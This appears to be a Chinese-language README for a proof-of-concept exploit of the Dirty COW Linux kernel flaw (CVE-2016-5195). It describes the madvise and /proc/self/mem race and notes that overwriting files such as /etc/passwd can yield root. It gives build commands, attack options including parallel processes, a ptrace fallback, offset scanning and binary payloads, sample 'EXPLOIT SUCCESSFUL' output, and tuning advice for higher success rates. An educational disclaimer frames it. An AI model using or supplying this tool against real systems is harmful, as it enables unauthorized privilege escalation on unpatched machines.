此代码仅供教育目的使用。任何恶意使用均被严格禁止,且属于违法行为。
Dirty COW(CVE-2016-5195)是 Linux 内核中的一个权限提升漏洞,它利用了内核写时复制(COW)机制中的竞争条件。该漏洞影响从 2.6.22 版本(2007 年发布)到以下版本之前的 Linux 内核:
该漏洞存在于内核的内存管理系统中:
MAP_PRIVATE 映射文件时,修改操作应当创建一份私有副本madvise(MADV_DONTNEED) 与写入 /proc/self/mem 之间展开竞争/etc/passwd 等系统文件有可能获得 root 权限切勿在生产系统或非您所有的系统上运行!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
/proc/self/mem 写入(默认)ptrace(PTRACE_POKETEXT)扫描多个内存偏移以找到最佳写入位置:
./main -D -v # Enable dynamic offset scanning
启动多个进程以制造激烈的竞争条件:
./main -n 4 # Use 4 parallel processes
从文件加载任意二进制数据:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
自动重试失败的尝试:
./main -r 5 # Retry up to 5 times
使用 SHA-256 哈希验证文件修改:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
该工具会在 exploit_log.txt 中生成详细日志:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
该漏洞利用通过在两个操作之间制造竞争来实现:
madvise(MADV_DONTNEED) - 告知内核丢弃内存页/proc/self/mem - 尝试写入已映射的内存MAP_PRIVATE 进行映射当竞争条件成功时:
1. “漏洞利用失败或迭代次数不足”
-i 增加迭代次数,或使用 -n 启动多个进程2. “/proc/self/mem 访问失败”
-P 标志启用 ptrace 方法3. “系统可能不存在该漏洞”
uname -r4. 系统无响应
-i 1000000-n 1# Conservative settings (slower but safer)
./main -i 5000000 -n 1
# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D
# Balanced settings
./main -i 20000000 -n 2 -r 2 -D
这是一个教育工具。贡献应侧重于:
本软件仅用于教育和研究目的。作者和贡献者不对因使用本程序而造成的任何误用或损害负责。用户全权负责确保在对任何系统进行测试之前已获得适当授权。
使用本软件即表示您确认:
本项目仅出于教育目的以 MIT 许可证发布。
请记住:能力越大,责任越大。请运用这些知识来保护和加固系统,而不是伤害它们。
| 选项 | 说明 | 默认值 | 最大值 |
|---|
-t <file> | 目标文件路径 | /tmp/dirty_cow_test | - |
-p <payload> | 自定义文本载荷 | Test string | - |
-f <file> | 从文件加载二进制载荷 | - | - |
-i <num> | 迭代次数 | 10,000,000 | 100,000,000 |
-n <num> | 并行进程数 | 1 | 8 |
-r <num> | 重试次数 | 1 | 10 |
-P | 使用 ptrace 代替 /proc/self/mem | 已禁用 | - |
-D | 启用动态偏移扫描 | 已禁用 | - |
-v | 详细输出 | 已禁用 | - |
-l <file> | 日志文件路径 | exploit_log.txt | - |
-h | 显示帮助 | - | - |